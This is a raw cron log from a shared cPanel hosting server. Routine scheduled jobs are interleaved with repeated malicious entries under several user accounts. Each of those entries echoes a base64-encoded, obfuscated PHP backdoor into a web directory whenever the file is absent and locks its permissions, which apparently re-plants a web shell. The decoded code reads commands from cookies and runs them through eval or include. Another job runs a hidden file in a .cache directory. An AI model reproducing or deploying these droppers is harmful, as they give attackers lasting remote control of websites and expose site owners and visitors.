Apr 19 04:42:02 medusa CROND[7855]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 04:42:02 medusa CROND[7859]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Apr 19 04:42:02 medusa CROND[7860]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Apr 19 04:42:02 medusa CROND[7856]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Apr 19 04:42:02 medusa CROND[7870]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 04:42:02 medusa CROND[7871]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Apr 19 04:43:02 medusa CROND[31244]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Apr 19 04:43:02 medusa CROND[31245]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Apr 19 04:43:02 medusa CROND[31246]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Apr 19 04:43:02 medusa CROND[31247]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Apr 19 04:43:02 medusa CROND[31248]: (root) CMD (/usr/bin/flock -n /var/run/xray_sa_plugin.cronlock /usr/sbin/cl-smart-advice wordpress-plugin-install &> /dev/null)
Apr 19 04:43:02 medusa CROND[31249]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 04:43:02 medusa CROND[31250]: (anam1e7) CMD (php -q "/home16/anam1e7/public_html/wp-cron.php")
Apr 19 04:43:02 medusa CROND[31251]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Apr 19 04:43:02 medusa CROND[31253]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Apr 19 04:43:02 medusa CROND[31265]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Apr 19 04:43:02 medusa CROND[31266]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Apr 19 04:43:02 medusa CROND[31267]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 04:43:02 medusa CROND[31268]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 04:43:02 medusa CROND[31269]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 04:43:02 medusa CROND[31270]: (tipsiser) CMD (wget -O - -q -t 1 http://tipsiser.com.ar/chamilo/main/cron/run.php > /dev/null 2>&1)
Apr 19 04:44:02 medusa CROND[23051]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Apr 19 04:44:02 medusa CROND[23082]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Apr 19 04:44:02 medusa CROND[23083]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Apr 19 04:44:02 medusa CROND[23084]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Apr 19 04:44:02 medusa CROND[23087]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Apr 19 04:44:02 medusa CROND[23090]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 04:44:02 medusa CROND[23089]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Apr 19 04:44:02 medusa CROND[23092]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 04:44:02 medusa CROND[23093]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Apr 19 04:44:02 medusa CROND[23094]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Apr 19 04:44:02 medusa CROND[23095]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
